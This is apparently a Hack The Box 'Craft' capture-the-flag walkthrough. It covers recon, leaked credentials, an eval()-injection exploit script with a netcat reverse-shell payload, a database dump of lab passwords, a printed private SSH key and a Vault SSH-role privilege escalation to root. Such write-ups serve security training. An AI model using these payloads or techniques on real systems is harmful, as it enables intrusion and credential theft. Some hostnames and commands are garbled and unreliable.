

HTB Craft Write-Up

As always, we start with the reconnaissance phase.

```
# Nmap 7.70 scan initiated Tue Aug 13 17:15:59 2019 as: nmap -sC -sV -A -oN craft 10.10.10.110
Nmap scan report for 10.10.10.110
Host is up (0.070s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey:
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp   open  ssl/http nginx  1.15.8
|_ http-server-header: nginx/1.15.8
|_ http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
| Not valid after:  2020-06-20T02:25:47
| ssl-date: TLS randomness does not represent time
|_ tls-alpn:
|_   http/1.1
|_ tls-nextprotoneg:
|_   http/1.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
```

Looking at the certificate we figure out the hostname of the box “craft.htb”

Browsing <https://10.10.10.110/> we see 2 domains:


- `api.craft.hbt`
- `gogs.craft.hbt`

In order to resolve them , we edit the `/etc/hosts` file in our endpoint.

After browsing `gogs.craft.htb` (which is similar to github) we see something interesting on issues tab:

#2 Bogus ABV values

🔔 Open opened 7 months ago by [dinesh](#) · 4 comments



Dinesh leaked his own JWT token.

After looking at Dinesh's profile activity we also find some creds.

Cleanup test

Browse Source

dinesh 7 months ago

parent 10e3ba4f0a commit a2d28ed155

1 changed files with 1 additions and 1 deletions

Split View Show Diff Stats

+ 1 - 1 tests/test.py View File

```
@@ -3,7 +3,7 @@
3 3 import requests
4 4 import json
5 5
6 -response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PBvjxgd'), verify=False)
7 +response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
8 json_response = json.loads(response.text)
9 token = json_response['token']
```

Now we can log in as dinesh.

The api is about creating and finding new brews with various characteristics (like ABV). Dinesh mentioned that they needed to add bogus ABV values to the database , so let's take a look at the api source code.

```
@auth.auth_required
@api.expect(beer_entry)
def post(self):
    """
    Creates a new brew entry.
    """

    # make sure the ABV value is sane.
    if eval('%s > 1' % request.json['abv']):
        return "ABV must be a decimal value less than 1.0", 400
    else:
        create_brew(request.json)
        return None, 201
```

We see that the app uses the `eval()` python function. From experience I know that `eval` is a dangerous function that is not recommended by developers as it parses the input as a string. With the right escape , we can have RCE!

Using Dinesh's token and some of the source code, we create a small python script that posts a new brew on the api but with a twist:

```
#!/usr/bin/env python
import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = ' _import__ ("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 10.10.14.25 1234 >/tmp/f")'
brew_dict['name'] = 'tea\\f'
brew_dict['brewer'] = 'tes\\t'
brew_dict['style'] = 'tes\\t'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
```

Set up a listener and we got a shell!

After examining the dbtest.py script , we modify a little to dump the database.

```
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try:
    with connection.cursor() as cursor:
        sql = "SELECT * from `user`"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)


finally:
    connection.close()/opt/app
```


We transfer our modified script to the target and we run it:




```
/opt/app # python db2.py
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': '1l3770BQfKLPQ8'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N9W0M2rh4T'}]
Traceback (most recent call last):
  File "db2.py", line 22, in <module>
    connection.close()/opt/app
NameError: name 'opt' is not defined
/opt/app #
```



We get creds!

Logging in the repo as gilfoyle this time (tried gilfoyle first because I know he is more on the cybersec-side in the show Silicon Valley ;)) , we notice he has a private infrastructure repo. Searching through the repo we find stored , gilfoyle's PRIVATE rsa key (you should be more careful on where you store your private ssh key).


 Dashboard Issues Pull Requests Explore

 **gilfoyle** / **craft-infra**

 Unwatch **1**  Star **0**  Fork **0**

 Files  Settings

Branch: master **craft-infra** / **.ssh** / **id_rsa**

 **id_rsa** 1.8 KB

Permalink History Raw

```
1 -----BEGIN OPENSSH PRIVATE KEY-----
2 b3B1bnNzaC1rZXktZjEAAAACmF1cz11Ni1jdHIAAAAGYmNyeXB0AAAAAGAAAAABDD9LaIqe
3 qF/F3X76qfTgkIAAAAEAAAAEAAEAAAB3NzaC1yc2EAAAADAQABAAQDSkCF7NV2Z
4 F6z8bm8RaFegvW2v58stknmJK9oS54ZdUzH2jgD0bYauVqZ5D1URFxiW0cbVK+jB39uqrS
5 zU0aDP1yNnUuUzh1Xdd6rcTDE3VU16ro0918VJCN+tIEf33pu2VtShZXDrhGxpptcH/tfS
6 RgV86HoLpQ8sojfgYIn+4Scg2EEXYng2jYxD+C1o4jnBbpiedGuqeDSmpunWA82vWwX4xx
7 1LNZ/ZNgCQT1vPMgFbxCAdCTyHzY7KI+0Zj7qFueRhEgUN7RMmb3JKEnaqptW4tqNYmVw
8 pmMxHTQYXn5RN49YJQ1aF0ZtkEndaSeLz2dEA96EpS50J10jzUThAAAD0JwMkiPfNFbsLQ
9 B4TyyZ/M/uERDtndIOK0+nTxR1+eQkudpQ/ZVTBgDjb/z3M2uLomCEmnfy1c6fGURidrZ1
10 4u+fwUG0Sbp9Cwa8fdvU1FoSkwPx3oP5YzS4S+m/w8GPCfNQcyCaKMhZVfVsys9+mLJMAq
11 RzSHY6owSmY87B3rRq0h1pywue64taF/FP4sThxknJuAE+8BXDaEgJEZ+5RA5Cp4fLobyZ
12 3Mt0dhG1PxFvnMoWwJLtmqu4hbNvnI0c4m9fcmC08XJXFYz3o21Jt+FbNtjfnrIw10LN6K
13 Uu/17IL1V1tnXpRzPH1eS5eEPwFPJm6DQ7eP+gs/P1RoFbPPDWhSSLt8BWQ0dzS8jKhGmV
14 ePeugsx/vjYPt9KVNAN0QE44tF8yo1jS7M8HAR97UQHx/qjbna2hKiQBgfCCy56nTsnBU
15 GfmVxnsGZAYPhWmJJe3pAIy+OCNwQDFo0vQ8kET110Q8DNyxEcw10N2F5FAE0gmUds0+J5
16 0CxC7Xo0zvtIMR1b1s/t/jxsc4wLumYKw7Hbzt1W0VHQA2fnI6t7HGeJ2LkQUce/M1Y2F
17 5TA8NFXd+RM2Sotncl5mt2DNoB1eQYCYqb+fzD4mPUEhsqYUzI18r8XXdc5bpz2wtwPTE
18 cVARG063kQ1bEpaJnUP18UG2oX9LCLU9ZgaoHVP7k61mvK2Y9wwRwgRrCrFLREG560rXS5
19 e1qzID2oz1oP1f+PJxeberaXsDGqAPYtPo4RHS0QAa7oybk6Y/Zc61h0ChrESAex7wRVnf
20 CuS1T+bn1z2Q8YVoWkPKnRHkQmPOVNYqToxIRejM7o3/y9Av91CwLsZu2XAqE1TpY4TTzA
21 hRDQnWuWSy164tJTTx1ycSzFdD7puSUK48F1wN0mzF/eR0aSSh50e4REnFdhZcE4TLpZTB
22 a7RrfsBrXpp++Gq48o6meLtkSjQqeZ1kLdXwJ2g0FPtqG2M4gWnzQ4u2awRP5t9AhGJbNg
23 M1xQ0KLO+nvwAzgxFPSFVYBgWRR3oH6ZSf+1IzPR41Qw90sKMLKQ11pxC6nSVUPoopU0W
24 Uhn1zhbr+5w5eWcGXfna3Qqe3zEHuF3LA5s0W+Q13nLDpg9oNxnK7nDj2I6T7/qCzYtZnS
25 Z3a9/84eL1b+EeQ9tfrhMCFypM7f7fyzH7FpF2ztY+j/1mjCbrW1ax11XjCkyhJuaX5BRW
26 I2mtcTYb1RbYd9dDe8eE1X+C/7SLRub3qdqt1B0AgyVG/jPZYf/spUKLU91HFktKxTCmHz
27 6YvpJhnN2SfJC/QftzqZK2MndJrmQ=
```

Using the key with passphrase his gogs password we manage to establish a stable ssh connection.

```
root@kali:~/htb/craft# ssh -i key.txt gilfoyle@gilfoyle0610.10.10.110
      .          *       ..    .   *     *
    * @()Ooc()*         o        .
    (Q@*%OCG*O())
    \_____/
    |               |
    |               |
    |               |
    |               |
    |               |
    /_____\/
    \_____/

Enter passphrase for key 'key.txt':
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
gilfoyle@craft:~$
```

After running the standard Linux priv esc scripts (LinEnum.sh etc) ,we don't find anything interesting. Looking again at gilfoyle's repo , we notice the tool Vault.

Vault is a tool used to store sensitive data with the use of secrets.

```
1 #!/bin/bash
2
3 # set up vault secrets backend
4
5 vault secrets enable ssh
6
7 vault write ssh/roles/root_otp \
8     key_type=otp \
9     default_user=root \
10    cidr_list=0.0.0.0/0
```

We see that the `secrets.sh` script uses `vault` to enable `ssh` connection to user “`root`”.

So, what if we could modify that?

After reading the vault documentation, we realize that we can change “root otp”

with a one-liner :

```
vault write ssh/roles/root_otp cidr_list=10.10.10.110/22 key_type=otp
default user=root allowed users=gilfoyle
```

By that , we add gilfoyle to the group that can establish an ssh connection as root.

With “read” we can see that the new configuration has been updated!

```
port 22
gilfoyle@craft:/tmp$ vault write ssh/roles/root_otp cidr_list=10.10.110/22 key_type=otp default_user=root allowed_users=gilfoyle
Success! Data written to: ssh/roles/root_otp
gilfoyle@craft:/tmp$ vault read ssh/roles/root_otp
Key Value
---
allowed_users gilfoyle
cidr_list 10.10.110/22
default_user root
exclude_cidr_list n/a
key_type otp
port 22
gilfoyle@craft:/tmp$
```

(Note: otp means **One Time Password** , which in most cases is a password that appears in front of you and you can use it only once).

Using the command :

```
vault ssh root@10.10.10.110
```

[illegible]

We use the OTP for the session as password and we are **ROOT!**